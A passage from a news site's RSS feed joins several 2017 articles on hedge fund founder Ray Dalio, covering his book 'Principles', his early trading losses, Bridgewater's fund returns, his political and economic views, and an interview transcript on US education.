Dalio will be publishing a second volume of “Principles,” on the economy and investing, at an undetermined date likely in the next year or two. Once he’s done explaining what he has to, he’s going to go dark. “I know that I’m personally going to take a low profile,” he said, noting he plans on no longer commenting about his personal life or philosophy.

That said, he thinks he may still publish essays about the economy similar to the approach he’s taken on LinkedIn. “I’ll wait till it comes and I’ll see how it all is,” he said. If an unexpected financial crisis happens, for example, he may have to weigh in. “At such times, I feel it might be helpful for me to offer thoughts.”

Dalio believes his life philosophy and management approach, in which radically transparent processes are put into place for an “idea meritocracy,” could benefit anyone who reads them, regardless of how much or how little they implement into their own lives and companies.

“What people then do with these principles is up to them,” he said. “Them being clearly understood rather than distorted was important to me.”

NOW WATCH: Bridgewater’s Ray Dalio explains what he wants his legacy to be

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]]> https://briefnews.eu/bridgewater-founder-ray-dalio-says-hes-going-to-take-a-lower-profile-once-his-book-tours-end/feed/ 0 What investors can learn from Ray Dalio https://briefnews.eu/what-investors-can-learn-from-ray-dalio/ https://briefnews.eu/what-investors-can-learn-from-ray-dalio/#respond Wed, 13 Sep 2017 22:10:49 +0000 http://briefnews.eu/what-investors-can-learn-from-ray-dalio/ Ray DalioThos Robinson/Getty Images

Ray Dalio is without doubt a member of the master class of the world’s investors. He runs Bridgewater Associates, one of the most successful and the largest hedge funds in the world.

Similarly, like many of the Investment Masters, Ray believes in seeking the truth by testing investment ideas, learning from mistakes and remaining humble. This was never more evident than in his experience in predicting the Debt Crisis in the early 1980’s. Whilst his prediction was uncannily accurate, Ray also predicted that the stock market would fall at the same time. The reality was something different, however, and when the market actually rose instead, Ray lost so much of his own and client’s capital that he was forced to let go all of his staff, and had to borrow $ 4,000 from his father to simply pay his household bills. It’s fair to say that Ray felt the pain of his mistake deeply. Ray stated that the pain of this error allowed him to change his attitude towards mistakes, and to see them as puzzles that needed to be solved instead. It also allowed him to start asking himself what he would do differently in the future to avoid the pain.

“I believe that anyone who has made money in trading has had to experience horrendous pain at some point. Trading is like working with electricity; you can get an electric shock.  With the pork belly trade and other trades, I felt the electric shock and the fear that comes with it. That led to my attitude: let me show you what I think, and please knock the hell out of it”  — Ray Dalio

“I met a number of great people and learned that none of them were born great. They all made lots of mistakes and had lots of weaknesses – and that great people become great by looking at their mistakes and weaknesses and figuring out how to get around them.” — Ray Dalio

Other Investment Masters have also learnt the same lesson.

“I lost my stakes a couple of times, which taught me risk control and risk management. Losing those stakes in my early 20s gave me a healthy dose of fear and respect for Mr. Market and hardwired me for some great money management tools.”  — Paul Tudor-Jones

“My dad was a retail pharmacist and after I started attending law school he said “well you have to learn how to be an investor”. He and I traded tiny amounts of tech stocks and mining stocks together. So I became very interested in markets and trading. In the period of time from 1967-1974 he and I found just about every possible way conceivable to lose money. So when I started Elliot in 1977 I was determined to engage in a trading strategy that made money all the time. So for the first 10 years of Elliot’s existence the primary strategy was convertible bond hedging”  — Paul Singer

“I went into this tech stock with 100% short position, and all the money I saved up because I thought I had this one locked down. We had fully positioned ourselves, myself and all my customers and clients I was advising, and then a technology writer dubbed the company the ‘Son of Intel’.  The stock went promptly from about $ 16 to $ 40. I got margin called all the way up until I was completely wiped out. I lost all of my money. I was apoplectic. I thought the world was going to end. I remember that like it was yesterday. That was the greatest thing that ever happened to me – losing all of my money on something where I knew I was right. From an investing perspective, getting completely wiped out and thinking it was the end of the world, and thinking I was an abject failure, and this investing thing wasn’t for me. Looking back at it, it couldn’t have happened at a better time in my life. You want that to happen as early in your career as it can and you want it to be the most devastating blow that could possibly hit you, to teach you, to bring humility into your investing and teach you that you should never set yourself up for the knockout punch. It teaches you never to put 100% into anything. It teaches you a lot about sizing, it teaches you a lot about life, no matter how much you think you have your arms around a situation, you never do”  — Kyle Bass

It was the recognition of the need to learn from mistakes that led to the development of Ray’s Principles.

“You have to learn from mistakes to keep getting better. And it’s through learning from those mistakes that you learn what reality is and how to deal with it, which is called Principles“

Interestingly, Ray is about to release a new book entitled ‘Principles‘. This will be an absolute must-read and I have already pre-ordered it. Ray released the first document titled ‘Principles‘ on the Bridgewater Associates website back in 2011. The original ‘Principles‘ focuses on Ray’s most fundamental truths about life and in addition, his beliefs and ideals regarding people management. Over the years I’ve often referred back to the original text, and while Ray has updated it in the new book, the original document remains a favourite of mine.

Bridgewater Associates investment style differs from many of the Investment Masters in so much as they invest across a broad spectrum of asset classes and regions, both long and short, and seek approximately 100 different return streams that are roughly uncorrelated to each other. While there isn’t a lot of commentary on investing per se in the original ‘Principles’ document, it does include the psychological insights and approach to learning that parallel with other great investors and give Bridgewater their edge.

This is evident in the company’s employment philosophies. On the Bridgewater Associates website’s career page, they ask potential employees to ask themselves a number of questions before applying to work there. These include:

“Do you want to: Discover your strengths and weaknesses? Work to get better fast? Put aside ego barriers to learning? And, demand others to be truthful and open, and are you prepared to to do the same?”

In conjunction with the release of the new book, Ray has given a very insightful Ted Talk where he discusses the processes he developed to successfully navigate the markets. Ray describes himself as a hyper-realist; he’s a broad thinker who meditates and recognizes there are many lessons to be learnt from nature and history. It was by studying history that provided Ray with the insights to anticipate the Global Financial Crisis.

It’s no surprise Ray features prominently throughout the tutorials included in the Investment Masters Class. Here’s a taste of some of the Principles which are behind Ray’s success..

“I learned that failure is by and large due to not accepting and successfully dealing with the
realities of life, and that achieving success is simply a matter of accepting and successfully
dealing with all my realities.”

“I learned that finding out what is true, regardless of what that is, including all the stuff most people think is bad—like mistakes and personal weaknesses—is good, because I can then deal with these things so that they don’t stand in my way.”

“I learned that there is nothing to fear from truth. While some truths can be scary—for example, finding out that you have a deadly disease—knowing them allows us to deal with them better. Being truthful, and letting others be completely truthful, allows me and others to fully explore our thoughts and exposes us to the feedback that is essential for our learning.”

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]]> https://briefnews.eu/what-investors-can-learn-from-ray-dalio/feed/ 0 Ray Dalio, the founder of the world’s largest hedge fund, has found his voice https://briefnews.eu/ray-dalio-the-founder-of-the-worlds-largest-hedge-fund-has-found-his-voice/ https://briefnews.eu/ray-dalio-the-founder-of-the-worlds-largest-hedge-fund-has-found-his-voice/#respond Fri, 08 Sep 2017 17:49:29 +0000 http://briefnews.eu/ray-dalio-the-founder-of-the-worlds-largest-hedge-fund-has-found-his-voice/ ray dalio ted talkTED

Bridgewater Associates’ three main hedge funds made money in August — but only one of them is positive for the year. While firm founder Ray Dalio is not saying what has worked and not worked this year for the macro firm, he has nevertheless raised his public profile considerably in recent months and is increasing it even more this month.

Bridgewater, the world’s largest hedge fund firm, posted profits last month in its Pure Alpha strategy. For example, Pure Alpha II, also known as Pure Alpha 18 percent, rose about 0.35 percent in August, trimming its loss for the year to 2.43 percent. Pure Alpha I, also known as Pure Alpha 12 percent, returned about 0.25 percent last month, cutting its loss for the year to 1.34 percent. All Weather, the hedge fund firm’s risk parity strategy, gained about 2.5 percent in August and is now up about 8.5 percent for the year.

Dalio and the company did not comment for this story, and the firm generally likes to keep a very low profile. That said, Dalio these days seems to be discovering his inner Bill Ackman.

On September 19, Dalio, who has received a lot of attention over the past few years for his firm’s philosophy of “radical transparency” and its handbook of principles based on the idea, is releasing his book — appropriately titled Principles — in which he shares the ideals behind his and Bridgewater’s success. On Tuesday, he will be speaking at the Delivering Alpha conference, which is co-sponsored by Institutional Investor and CNBC.

Dalio has also been conducting on-the-record interviews, and on Wednesday his public relations firm circulated his recent Ted Talk , where he talks about his principles, how the firm uses algorithms to make decisions under its idea meritocracy system, and why Dalio believes it has enabled his funds to post profits in 23 of the past 26 years.

The 68-year-old Queens, New York native also talks about discovering his love for trading the markets at 12, when he tripled his money on Northeast Airlines with money he earned caddying. At the time he thought it was easy.

However, Dalio learned otherwise in the late 1970s and early 1980s, when he bet on what he thought was a looming debt crisis: He thought American banks were lending a lot more to emerging countries than they could pay back. He even testified to Congress about it and appeared on the then-legendary television show Wall Street Week with Louis Rukeyser. “While the debt crisis happened, the stock market went up,” Dalio recalled during his Ted Talk. He lost so much money for clients he was forced to borrow $ 4,000 from his father to pay his family’s bills.

“It was one of the most painful experiences,” Dalio concedes, but it turned out to be one of his best experiences. He says it changed his attitude toward decision making. He said rather than thinking he’s right, he changed his thinking to learn how he is right.

That’s when he set out to create an idea meritocracy, whereby the best ideas win out. And in order to do that, Dalio stressed he needed radical truthfulness and radical transparency. He encouraged people to say what they believed in, taping all conversations and letting everyone see them.

“That’s how we run our investment business,” Dalio adds.

Decisions are based on algorithms that take people’s believability into consideration based on their historical thought and idea patterns.

“We do it because it eliminates what I believe is one of the greatest tragedies of mankind — people arrogantly, naively holding opinions that are wrong and acting on them and not putting them out there to stress-test them,” he elaborates. “This elevates us above our own opinions. Collective decision making is so much better than individual decision making if done well. This is the secret sauce behind our success.”

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]]> https://briefnews.eu/ray-dalio-the-founder-of-the-worlds-largest-hedge-fund-has-found-his-voice/feed/ 0 DALIO: The US and UK might be facing a ‘downward spiral’ https://briefnews.eu/dalio-the-us-and-uk-might-be-facing-a-downward-spiral/ https://briefnews.eu/dalio-the-us-and-uk-might-be-facing-a-downward-spiral/#respond Sat, 10 Jun 2017 12:19:23 +0000 http://briefnews.eu/dalio-the-us-and-uk-might-be-facing-a-downward-spiral/ ray dalioBusiness Insider

The past 24 hours – with Jim Comey’s testimony and the UK’s snap election – are a cause for alarm to the founder of the world’s largest hedge fund.

The US and UK, in effect, are becoming dysfunctional, billionaire Ray Dalio said Friday in a statement posted to his LinkedIn page.

“Over the last 24 hours we’ve seen developments in the US (pertaining to the issues surrounding Jim Comey’s testimony) and the UK (concerning no UK party having a ruling majority and the threat of a left populist leader emerging),” said Dalio, who founded $ 150 billion Bridgewater Associates. “These developments entail the risk that political conflicts will lead to reduced government effectiveness in these two countries at especially challenging times.”

He added: “The trend toward conflict leading to greater dysfunctionality, leading to greater conflict, in a self-reinforcing way is increasingly apparent in the US and UK.”

“These conditions can reinforce emotional and antagonistic polarity …and that can create a self-reinforcing downward spiral,” he said.

Dalio has been increasingly public in his views on politics over the past several months. Earlier this year, he launched a Twitter feed and has been known to increasingly post his musings, whether about news coverage of his hedge fund that he doesn’t like or about support for Jim Comey, a former Bridgewater employee. Earlier this week, Dalio wrote about his concerns over President Trump choosing a small part of America over the world.

Dalio and his $ 150 billion investment firm have speculated on Trump, and his implications for markets, for months, though those predictions haven’t always played out.

Last year, Bridgewater told clients on the day of the election that markets would slump if Trump were elected. (They have since rallied.) More recently, Bridgewater said stocks would drop if Trump were impeached, according to a client note reviewed by Business Insider.

NOW WATCH: HENRY BLODGET: Bitcoin could go to $ 1 million (or fall to $ 0)

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]]> https://briefnews.eu/dalio-the-us-and-uk-might-be-facing-a-downward-spiral/feed/ 0 DALIO: ‘I don’t think we’re going to have a radical change in the economy’ https://briefnews.eu/dalio-i-dont-think-were-going-to-have-a-radical-change-in-the-economy/ https://briefnews.eu/dalio-i-dont-think-were-going-to-have-a-radical-change-in-the-economy/#respond Tue, 11 Apr 2017 15:57:24 +0000 http://briefnews.eu/dalio-i-dont-think-were-going-to-have-a-radical-change-in-the-economy/ Ray DalioHeidi Gutman / CNBC

Ray Dalio, founder of hedge fund giant Bridgewater Associates, is cautious about the effects of coming changes to fiscal policy and regulations.

During the campaign and early days of his administration, President Donald Trump has promised sweeping changes to economic policy, from a major tax reform to a huge infrastructure initiative to slashing regulations.

One of the goals of all those far-reaching policies is to dramatically increase the rate of GDP growth to somewhere between 3 and 4%, well above the 1-2% growth seen in recent years.

Dalio thinks that actual policy changes and their effects will benefit the economy “on the margin,” but won’t have a big impact. 

“I think that we know there will be a degree of stimulation that was greater than existed before, some of which will come from actual fiscal policies like spending, infrastructure, and those things,” Dalio said in an interview with Business Insider global editor in chief Henry Blodget on The Bottom Line, Business Insider’s new weekly business news show. You can watch the full interview here. 

“Some of those things will come just as a result of deregulation,” he added.  

Dalio said that it remains to be seen what those policies will actually look like. He said:

“We’re now in a time where we actually have to see what other kind of policy changes take place in the form of, let’s say, fiscal policy. So we’re looking at how Donald Trump is able to work within the Republican Party, and the Republican Party and its factions are able to work within Congress, and how those various different ideologies work themselves out, whether that will produce meaningful change or won’t produce meaningful change.”

Dalio still expects, if not a revolutionary shift in the economy, at least some more modest changes. He continued:

“I don’t think we’re going to have a radical change in the economy, in terms of policies. But with these deregulations and some of these things, and a more business-friendly policy, I would expect on the margin it would be stimulative and beneficial for the economy. Not in a big way, I think.”

On the subject of taxes and tax reform, Dalio pointed out that the main effect of lower tax rates on businesses is that they simply will have more money. “Wall Street is focused on very clear, incremental changes. If you change corporate tax rates, then by that change in corporate tax rates, the stocks are worth more,” he said.

“I mean, that’s just a calculation, right? So, it’s not so much that it’s net stimulative to the economy per se; it means that, okay, now you pay less taxes, okay, that’s worth more after taxes.”

NOW WATCH: These are the states you should live in to pay the least taxes

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]]> https://briefnews.eu/dalio-i-dont-think-were-going-to-have-a-radical-change-in-the-economy/feed/ 0 RAY DALIO: There is a human tragedy taking place in America https://briefnews.eu/ray-dalio-there-is-a-human-tragedy-taking-place-in-america/ https://briefnews.eu/ray-dalio-there-is-a-human-tragedy-taking-place-in-america/#respond Sun, 09 Apr 2017 19:10:44 +0000 http://briefnews.eu/ray-dalio-there-is-a-human-tragedy-taking-place-in-america/ ray dalioRay Dalio is with Jamie Dimon.

Dimon, the JPMorgan CEO, said this week that while the US is “probably stronger than ever before,” it is “clear that something is wrong.”

And in an interview with Business Insider’s global editor in chief Henry Blodget on The Bottom Line, Business Insider’s new weekly business news show, Dalio, the founder of Bridgewater Associates, agreed. 

“He’s right,” he told Blodget. 

Dalio launched Bridgewater from his kitchen, and the firm is now the world’s biggest hedge fund. He made $ 1.4 billion in 2016, according to Forbes. 

Like Dimon, Dalio is focused on the education system. Dalio cited a study his wife funded in Connecticut that found 22% of students in the state are disengaged or disconnected. In his annual letter to shareholders, Dimon said “we are creating generations of citizens who will never have a chance.” 

“Now you think not only is that a human tragedy in terms of those kids, but that’s also going to be a terrible social tragedy,” Dalio told Henry Blodget. “When you look at some of the educational things that can be done that make such a world of difference to people, it’s a terrible waste of resources and inefficiency. We have a problem with our human infrastructure.”

Here’s the full transcript:

Henry Blodget: Jamie Dimon earlier this week said, ‘Look, there’s a problem in this country, it’s a great country, but there’s a problem.’

Ray Dalio: He’s right.

Henry Blodget: You agree with that?

Ray Dalio: Oh totally. I think it’s very inefficient. In many parts of this country, we don’t create a bottom. There’s no bottom. In other words, there is no minimum level of acceptable education, there’s no minimum level of acceptable circumstances in some places. There’s a tragedy that we’re losing, in many ways, our human infrastructure in lots of those places.

That’s also a bad investment. My wife is very much involved in education in the worst parts of Connecticut. This is something that’s particularly important to her. She funded a study that looked at the number of disengaged and disconnected youths. A disengaged youth in a high school is a student who comes in and doesn’t participate. They go to class, they don’t do their homework, they don’t do anything. A disconnected youth is one that doesn’t even know where they are, they don’t come to school. She had this study done: 22% of the students in Connecticut are either disengaged or disconnected.

Now you think not only is that a human tragedy in terms of those kids, but that’s also going to be a terrible social tragedy. What will they end up doing? How will it be? How does it make sense? When you look at some of the educational things that can be done that make such a world of difference to people, it’s a terrible waste of resources and inefficiency. We have a problem with our human infrastructure that is a major problem.

Henry Blodget: Do you think that that is a different infrastructure to the one that allowed or helped you to do what you do?

Ray Dalio: Yes, I was lucky in the sense that I had parents who cared about me, I went to school, I was able to have that kind of infrastructure in this wonderful country that allowed me to have those kinds of opportunities and inspirations, you know, when you look at people, and they could do those things, so there was a dream that can happen.

There is a wonderful documentary movie called ‘Waiting for Superman.’ I don’t know if you know the movie, OK, ‘Waiting for Superman.’ It tells the story of being in the inner city and having this aspiration of Superman, and then waiting for Superman, and there is no Superman, he doesn’t come, there’s no hope. You need hope. You need family. You need infrastructure. You need certain basic things that I had the benefit of having and a lot of the population doesn’t have the benefit of having. 

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]]> https://briefnews.eu/ray-dalio-there-is-a-human-tragedy-taking-place-in-america/feed/ 0 Henry Blodget’s exclusive with the head of the world’s largest hedge fund — Bridgewater’s Ray Dalio on his biggest worry and when a downturn might come https://briefnews.eu/henry-blodgets-exclusive-with-the-head-of-the-worlds-largest-hedge-fund-bridgewaters-ray-dalio-on-his-biggest-worry-and-when-a-downturn-might-come/ https://briefnews.eu/henry-blodgets-exclusive-with-the-head-of-the-worlds-largest-hedge-fund-bridgewaters-ray-dalio-on-his-biggest-worry-and-when-a-downturn-might-come/#respond Sat, 08 Apr 2017 00:23:55 +0000 http://briefnews.eu/henry-blodgets-exclusive-with-the-head-of-the-worlds-largest-hedge-fund-bridgewaters-ray-dalio-on-his-biggest-worry-and-when-a-downturn-might-come/ The Bottom Line banner_videoBusiness Insider

This week, Henry Blodget sat down with Ray Dalio, founder and C0-CIO of Bridgewater, the world’s largest hedge fund.

Here is part 1 of their extended interview, which appears in the premiere episode of Henry’s new weekly markets and economics show, The Bottom Line.

Watch the full episode here.


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